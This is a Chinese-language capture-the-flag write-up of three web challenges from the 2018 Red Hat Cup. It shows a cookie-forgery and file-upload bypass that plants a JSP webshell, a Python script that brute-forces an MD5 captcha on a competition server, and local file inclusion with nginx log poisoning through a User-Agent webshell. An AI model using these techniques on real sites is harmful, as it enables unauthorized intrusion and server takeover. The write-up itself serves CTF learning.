2018红帽杯三道Web

三道质量不高的Web题目

simple upload

  • 修改cookie:admin=1登录
  • 上传点更改文件类型image/jpeg,上传木马
  • 发现报错页面是tomcat,上传jsp一句话
  • 上菜刀,根目录找到flag

shopping log

通过提示加上三个请求头:

"Accept-Language": "ja",
"Referer":"www.DWW.com",
"Host":"www.tmvb.com"

得到一个检查四位单号的页面,验证码需要爆破md5,这里为了不验证错过采用了递归,脚本如下:

import requests,re,hashlib,sys
global s

s=requests.Session()
headers = {
	"Accept-Language": "ja",
	"Referer":"www.DWW.com",
	"Host":"www.tmvb.com"
}
url1="http://123.59.141.153/5a560e50e61b552d34480017c7877467info.php"
url2="http://123.59.141.153/api.php?action=report"

def check(c):
	for j in range(10000000):
		fd = hashlib.md5()
		fd.update(str(j))
		x = fd.hexdigest()
		if(x[0:6] == c):
			return j

def send(num):
	print "[+]send the "+str(num)+" requests"
	a=s.get(url=url1,headers=headers)
	b = re.search(r"=== '(.*?)'",a.content, flags=0)
	code=b.group(1)
	realcode=check(code)
	data={
	"TxtTid":str(num).zfill(4),
	"code" : str(realcode)
	}
	print "[+]"+str(data)
	result = s.post(url=url2,headers=headers,data=data)

	if "Code" in result.content:
		print "[-]resending......"
		return send(num)
	else:
		return result.content

for i in range(9587,9589):
	print "[+]"+str(send(i))

提示应倒着爆破,最终尝试到9588返回flag

biubiubiu

有点迷的一道题,登录上去的访问网页的输入框研究半天,请求打到自己服务器上没发现什么多余的,回头看文件包含。尝试包含了nginx配置文件成功:

/etc/nginx/nginx.conf

尝试包含日志成功

/var/log/nginx/access.log
  • 因为本题是i春秋的环境,日志过大直接重新创建环境
  • 思路非常清楚了,在UA里写一句话,然后菜刀连文件包含的日志
  • getshell以后找到config,flag在数据库里。
  • 这里有个要注意的是先打phpinfo,发现是php7,于是换用php7的菜刀

CknifePHP7.rar